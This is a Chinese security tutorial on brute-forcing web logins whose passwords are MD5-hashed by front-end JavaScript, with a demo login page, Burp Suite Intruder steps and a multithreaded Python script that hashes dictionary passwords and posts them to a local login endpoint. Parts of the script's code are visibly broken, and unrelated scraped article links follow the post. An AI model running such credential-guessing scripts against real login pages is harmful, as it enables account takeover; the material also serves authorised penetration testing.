0x01 前言

  常见的js实现加密的方式有:md5、base64、shal,写了一个简单的demo作为测试。

0x02 代码

login.html

<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>用户登录</title>
<script type="text/ecmascript" src="md5.js"></script>
<script>
function checkInput() {
var password_input = document.getElementById('password');
var password_md5 = document.getElementById('password_md5');
// set password
password_md5.value =hex_md5(password_input.value);
return true;
}
</script>
</head>
<body>
<form action="login.php" method="post" onsubmit="return checkInput()">
用户:<input type="text" id="username" name="username"> <br/>
密码:<input type="password" id="password"> <br/>
<input type="hidden" id="password_md5" name="password">
<input type="submit" value="提交" />
</form>
</body>
</html>

提交表单,进行抓包,可以发现密码字段密码进行了加密处理:

0x03 Web暴力猜解

方式一:Burp Suite

  使用Intruder进行暴力猜解,Intruder支持多种爆破模式、加密和编码支持。常见的md5、base64、shal加密方式,都可以用burpsuite直接处理。

  四种爆破方式:单一字典爆破、多字段相同字典爆破、多字典位置对应爆破、聚合式爆破。

  最常用的应该是在爆破用户名和密码的时候,使用聚合方式枚举了。

1、抓包发送到Intruder,标记相关参数,选择 第四种模式“Cluster bomb”

2、分别选择用户名字典和密码字典,在设置密码字典的时候,选择md5加密方式对密码字段进行加密处理

3、开始进行爆破,根据返回字段长度判断是否成功,成功获取用户名和密码字段的MD5值   admin:21232f297a57a5a743894a0e4a801fc3

4、md5解密成功,获得用户名密码 admin/admin

方式二:Python脚本

  这边采用Python ExecJs来执行Js语句模拟前端对账号密码进行加密

准备:

pip install PyExecJS

phantomjs下载:https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-windows.zip

编写Python脚本进行爆破:

#! /usr/bin/env python
# _*_ coding:utf- _*_ import requests
import threadpool
from selenium import webdriver
import execjs def getpass(str):
with open ('md5.js','r') as js:
source = js.read()
phantom = execjs.get('PhantomJS')
getpass = phantom.compile(source)
password = getpass.call('hex_md5',str)
return password def login(user,passwd):
url="http://127.0.0.1/login.php"
payload ={'username':user,'password':getpass(passwd)}
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
try:
response = requests.post(url,data=payload,headers=headers,timeout=)
result=response.content
if result.count('fail')<:
print '[success] ' +url+":"+user+':'+passwd except:
pass def getLines(fileName):
list=[]
with open(fileName, 'r') as fd:
for line in fd.readlines():
line = line.strip()
if not len(line) or line.startswith('#'):
continue
list.append(line)
return list if __name__ == '__main__':
username_list=getLines('user.dict')
password_list=getLines('pass.dict') userlist = [([user,passwd],None) for user in username_list for passwd in password_list] pool = threadpool.ThreadPool()
reqs = threadpool.makeRequests(login,userlist)
[pool.putRequest(req) for req in reqs]
pool.wait()

成功爆破用户账号密码

0x04 END

  从前台到后台是一个质的突破,本文主要对很多web 在登陆的过程中会用 js 对密码进行加密传输,梳理了一下web暴力猜解的技巧。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

参考链接:

JS实现密码加密

http://www.cnblogs.com/mofish/archive/2012/02/25/2367858.html

js实现表单提交submit(),onsubmit

https://www.cnblogs.com/web-wjg/p/7894657.html

对登录中账号密码进行加密之后再传输的爆破的思路和方式

http://www.freebuf.com/articles/web/127888.html

Web暴力破解--前端JS表单加密进行爆破的更多相关文章

  1. Pikachu的暴力破解演示-----基于表单的暴力破解

    1 首先打开XAMMP与burpsuite 2 打开游览器输入127.0.0.1:88进入pikachu,(由于我的端口有80改成88所以输入127.0.0.1:88要是没有更改80只需要输入127. ...

  2. MVC身份验证.MVC过滤器.MVC6关键字Task,Async.前端模拟表单验证,提交.自定义匿名集合.Edge导出到Excel.BootstrapTree树状菜单的全选和反选.bootstrap可搜索可多选可全选下拉框

    1.MVC身份验证. 有两种方式.一个是传统的所有控制器继承自定义Control,然后再里面用MVC的过滤器拦截.所以每次网站的后台被访问时.就会先走入拦截器.进行前端和后端的验证 一个是利用(MVC ...

  3. Jquery.validate.js表单验证插件的使用

    作为一个网站web开发人员,以前居然不知道还有表单验证这样好呀的插件,还在一行行写表单验证,真是后悔没能早点知道他们的存在. 最近公司不忙,自己学习一些东西的时候,发现了validation的一个实例 ...

  4. angular js 表单验证

    <!doctype html> <html ng-app="myapp"> <head> <meta charset="UTF- ...

  5. Js表单验证控件-02 Ajax验证

    在<Js表单验证控件(使用方便,无需编码)-01使用说明>中,写了Verify.js验证控件的基本用法,基本可以满足大多数验证需求,如果涉及服务端的验证,则可以通过Ajax. Ajax验证 ...

  6. 知问前端——Ajax表单插件

    传统的表单提交,需要多次跳转页面,极大的消耗资源也缺乏良好的用户体验.而这款form.js表单的Ajax提交插件将解决这个问题. 一.核心方法 官方网站:http://malsup.com/jquer ...

  7. 前端-form表单与CSS

    目录 form表单 表单属性 label标签 input标签 select 下拉框标签 textarea多行文本 提交 Flask 结合form表单 初探 CSS介绍以及基本选择器 基本选择器 组合选 ...

  8. JS表单验证-12个常用的JS表单验证

    JS表单验证-12个常用的JS表单验证 最近有个项目用到了表单验证,小编在项目完结后的这段时间把常用的JS表单验证demo整理了一下,和大家一起分享~~~ 1. 长度限制 <p>1. 长度 ...

  9. js 表单验证控制代码大全

    js表单验证控制代码大全 关键字:js验证表单大全,用JS控制表单提交 ,javascript提交表单:目录:1:js 字符串长度限制.判断字符长度 .js限制输入.限制不能输入.textarea 长 ...

随机推荐

  1. nvalid bound statement (not found)

    问题详情: org.apache.ibatis.binding.BindingException: Invalid bound statement (not found): com.coocaa.te ...

  2. 数组新增,修改json数据

    1.向数组中添加json数据 var arr=[]; var json = {"name":"apple","color":"re ...

  3. 初学Android的几个常见问题

    1.关于开发环境搭配,可以到网站http://developer.android.com/sdk/index.html下载adt-bundle-windows-x86-20131030.zip,里面包 ...

  4. 【转】Windows 7 API Internet Connection Sharing(ICS) 与 Wireless Hosted Network构建本地AP

    原文:http://hi.baidu.com/ritrachiao/item/bf7715e6bb8cb3a0c10d75be [此刻我要大大地记录一下!] 这个折腾了我好几天的Windows 7 A ...

  5. elasticsearch系列四:搜索详解(搜索API、Query DSL)

    一.搜索API 1. 搜索API 端点地址 从索引tweet里面搜索字段user为kimchy的记录 GET /twitter/_search?q=user:kimchy 从索引tweet,user里 ...

  6. Java数组遍历输出

    在Java中,如何将字符串数组写入输出控制台? 以下示例演示了通过循环将数组的元素写入输出控制台. package com.yiibai; public class ArrayOutput { pub ...

  7. Lambda动态排序

    private static IList<T> IListOrderBy<T>(IList<T> list, string propertyName) where ...

  8. 简明Linux命令行笔记:touch

    创建文件或修改文件时间 touch [options] file-list 参数 file-list是touch将要创建或更新的文件路径名 选项 -a                    只更新访问 ...

  9. The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead [duplicate]

    From: http://stackoverflow.com/questions/13944956/the-mysql-extension-is-deprecated-and-will-be-remo ...

  10. 局域网 ping

    时间:2013-01-15 11:07来源:网络整理 作者:秩名点击:2271次 |我要投稿 一般情况下,如果我们使用Ping命令来查找网络问题所在或检验网络运行情况,我们需要使用许多Ping命令,如 ...